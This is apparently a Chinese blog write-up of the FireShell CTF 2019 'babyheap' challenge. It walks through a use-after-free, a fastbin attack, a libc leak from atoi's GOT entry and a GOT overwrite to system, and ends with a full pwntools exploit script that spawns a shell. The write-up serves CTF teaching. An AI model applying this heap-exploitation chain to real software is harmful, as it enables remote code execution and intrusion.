FireShellCTF2019 babyheap 详细题解 Secer's Blog - 记录互联网安全历程与个人成长经历

前言

前两天做了一下 Fireshell 的 pwn 题，难度貌似也不是很大，做了一下堆的 babyheap，这里把详细的解题思路记录一下，很多都是自己在学习堆过程中的一些总结，希望能给同样在入门堆利用的朋友们一些启发。

题目分析

题目给了一个 babyheap 的程序和一个 libc.so.6。

用 64 位的 IDA 打开程序，程序还是清单式的选项，逻辑也很简单，常见的几个功能 create、edit、show、delete

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400841(a1, a2, a3);                       // init
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        sub_40089F();
        printf("> ");
        memset(&s, 0, 8uLL);
        read(0, &s, 8uLL);
        v3 = atoi(&s);
        if ( v3 != 3 )
          break;
        if ( qword_6020B0 == 1 )
        {
          puts("Again? Oh no, you can't");
          exit(0);
        }
        sub_40091D();                           // show
      }
      if ( v3 > 3 )
        break;
      if ( v3 == 1 )
      {
        if ( qword_6020A0 == 1 )
        {
          puts("Again? Oh no, you can't");
          exit(0);
        }
        sub_4008B2();                           // create
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_33;
        if ( qword_6020A8 == 1 )
        {
          puts("Again? Oh no, you can't");
          exit(0);
        }
        sub_4008E1();                           // edit
      }
    }
    if ( v3 == 5 )
    {
      puts("Bye!");
      exit(0);
    }
    if ( v3 < 5 )
    {
      if ( qword_6020B8 == 1 )
      {
        puts("Again? Oh no, you can't");
        exit(0);
      }
      sub_40094A();                             // delete
    }
    else
    {
      if ( v3 != 1337 )
      {
LABEL_33:
        puts("Invalid option");
        exit(0);
      }
      if ( qword_6020C0 == 1 )
      {
        puts("Again? Oh no, you can't");
        exit(0);
      }
      sub_400982();                            //gift
    }
  }
}

题目当中有些 if 语句的条件需要注意一下，会对后面的填充数据有一些影响，但是影响不大

在程序的最底下有一个函数 sub_400982()，有点像一个后门，当 v3 = 1337 时才会触发。

即当输入为 1337 时，会进入一个 fill 缓冲区的功能，填充内容到 buf 指针指向的位置。

__int64 sub_400982()        //gift
{
  buf = malloc(96uLL);
  printf("Fill ");
  read(0, buf, 64uLL);
  return qword_6020C0++ + 1;
}

利用这个功能配合 uaf 我们就可以达到劫持控制流的目的，详细利用继续往下看。

漏洞点分析

在 IDA 里浏览程序的功能，很容易发现在 delete 函数里（sub_40094A），在 free 一个 chunk 之后，没有将 buf 的指针置空，导致可以继续填充数据到这个 chunk 的 memory 中，所以这里的 fd、bk 的位置可以由我们控制。

int sub_40094A()
{
  int result; // eax

  free(buf);                //没有置空指针
  result = puts("Done!");
  qword_6020A0 = 0LL;
  qword_6020B8 = 1LL;
  return result;
}

我们就可以伪造 fd、bk 的值配合 fastbin attack 来控制程序流跳转到我们想要的位置。

关于 fastbins 的介绍以及利用方式可以看这里：
https://www.freebuf.com/news/88660.html

uaf 漏洞

所以这里就造成了 use-after-free 漏洞（uaf），下面分析利用步骤。

这里我们要达到劫持控制流的目的，就需要使得 fd 指向我们需要的填充的数据区里

根据 fastbins 的特点，在继续 new 一个 chunk 之后，会根据上一个 free 掉的 chunk 的 fd 值作为 malloc 的指针。

比如这个是已经布置好 fd 指针的情况，下一次的 malloc 就会到 0x34333231 这个地址处

uaf 漏洞利用完后，我们可以布置数据到 buf 上方，然后使用 fill 功能填充数据到 buf 处，使用 show 功能输出我们想要的地址的值，然后覆盖 got 表来 getshell。

关于 uaf 的介绍可以看这里：
https://blog.csdn.net/qq_31481187/article/details/73612451?locationNum=10&fps=1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/

详细利用步骤

伪造 fd

这里大体的步骤是 create -> delete -> edit -> create

在 exp 中，可以用如下的表示：

create()
dele()
edit(p64(0x602098))
create()

这里用 gdb 动态调试一下，在 create 函数和 delete 函数处下断点

pwndbg> b *0x4008B2
Breakpoint 1 at 0x4008b2
pwndbg> b *0x40094A
Breakpoint 2 at 0x40094a

run 运行，在第一个 create 中可以看到创建好的堆，以及 buf （0x6020C8）的值，也就是 chunk 的 memory 的位置。

c 继续运行，在 delete 函数里执行完 free 操作之后，发现这个 chunk 已经挂在了 fastbins 上了

接下来调用 edit 方法来填充被 free 掉的 chunk 的 fd 的位置

为什么会被填充到上一个 chunk 的 memory 区域呢？因为在上一步的 free 操作中，作为指针的 buf 没有被置空，还是指向了 0x603010 这个区域，在 edit 函数里调用了 read 函数对 buf 指向的区域进行填充。

在 IDA 中可以看的很清楚：

ssize_t sub_4008E1()        //edit
{
  ssize_t result; // rax

  printf("Content? ");
  result = read(0, buf, 0x40uLL);        //写入数据到 buf 的指针处
  qword_6020A8 = 1LL;
  return result;
}

我们把要跳转的地址填进去，这里选择 0x602098 这个位置作为 fd 的值

也就是：

edit(p64(0x602098))

c 继续运行到下一个 create，查看堆的排布，fd 成功放上去了，fastbins 的值为 fd 的值

这里是使用 gdb 的本地调试，edit 是随便输入的，getshell 时需要使用 pwntools 来利用

所以在下一次 malloc 时就会到分配到这个位置，配合 gift 函数对目标区域进行填充。

如果这里继续调试进行 malloc 操作时，就会报错找不到这个地址

调用 _int_malloc 函数的时候会提示：

Program received signal SIGSEGV (fault address 0xa34333241)

所以这里我们需要填上 0x602098 ，这里就完成了对 uaf 漏洞的 fastbins attack 的利用

这里涉及到了 fastbins 的一些特性，也可以看我之前写过的文章

使用 gdb.attach 调试效果如下：

泄露 libc base addr

继续调用 gift 函数，因为在调用 gift 函数时，会进行一次 malloc 操作，自然而然就分配到 fastbins 指向的位置，也就是 0x602098 处

我们从 0x602098 的位置处往下填充，填充到 buf 的位置：

gift(p64(2)*6+p64(0x602060))

这里不能填充为 1，因为这样无法跳过 if 条件，进不了函数的逻辑

这里填充 buf 为我们想要输出的地址，配合 show 函数的可以输出想要的信息

这里选择 0x602060 这个位置，也就是 atoi 函数的 got 表的指针

填充完的效果如下：

泄露 atoi 函数的地址之后，根据所给的 libc.so.6 的该函数的偏移，可以计算出 libc 的基地址：

libc_base=u64(r.readuntil('n')[:-1].ljust(8,chr(0)))-libc.symbols['atoi']

篡改 atoi 的 got 表

下一步修改 atoi 的 got 表为 system 函数的地址，调用 edit 函数时，会向 buf 中写入数据（因为已经修改完了 buf 的指针值），这里就可以在 atoi 的 got 表上写下 system 函数的地址

system_addr=libc_base+libc.symbols['system']
edit(p64(system_addr))

getshell

调用上面的 edit 函数完成后，会回到 main 函数中，因为这里的 atoi 被我们改成了 system ，在调用 read 函数时，只要我们输入 “/bin/sh”，就会作为参数传入 system 函数，触发 system 函数就进行 getshell。

r.sendline('/bin/sh')

至此，利用完毕

附上最后的 exp

from pwn import *
#r=remote('51.68.189.144',31005)
r = process("./babyheap")

#context(log_level='debug')
libc=ELF('./libc.so.6')
#libc =ELF('/lib/x86_64-linux-gnu/libc.so.6')

r.readuntil('>')
def create():
    r.sendline('1')
    r.readuntil('>')
def dele():
    r.sendline('4')
    r.readuntil('>')    
def edit(a):
    r.sendline('2')
    r.readuntil('Content?')
    r.send(a)
    r.readuntil('>')
def gift(a):
    r.sendline('1337')
    r.readuntil('Fill ')
    r.send(a)
    r.readuntil('> ')
def show():
    r.sendline('2')
    r.readuntil(': ')

#+------------------------use after free---------------------------+#
create()
dele()
edit(p64(0x602098))
create()
#+------------------------fastbins attack--------------------------+#
gift(p64(2)*6+p64(0x602060))
libc_base=u64(r.readuntil('n')[:-1].ljust(8,chr(0)))-libc.symbols['atoi']
print "libc_base:"+str(libc_base)
#+------------------------overwrite the got table------------------+#
system_addr=libc_base+libc.symbols['system']
edit(p64(system_addr))
#print hex(system_addr)
#+------------------------call the system func---------------------+#
r.sendline('/bin/sh')
r.interactive()

总结

整个漏洞的利用思路如下：

—> free 没有置空指针
—> uaf 伪造 fd
—> fastbin attack 分配到 fd 的位置
—> 调用 gift 方法填充修改 buf 的值为 got 表地址
—> show 函数泄露出 buf 的内容
—> 得到 libc 的地址
—> edit 函数修改 atoi 为 system 函数
—> 输入 “/bin/sh” 同时调用 system 函数进行 getshell

这里最重要的是利用的思路以及对于这些攻击方式的熟悉和灵活运用，自己多动手调试才会对这些知识的理解更加深刻。

这里推荐一个 b 站的堆利用的教学视频，这是一整套的教程，前几期都讲的特别好

https://www.bilibili.com/video/av17482233/

参考

https://www.freebuf.com/news/88660.html
https://blog.csdn.net/qq_31481187/article/details/73612451?locationNum=10&fps=1
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
https://mp.weixin.qq.com/s/T5APY4HJnw7rM3nvxDi8NA
https://www.anquanke.com/post/id/170473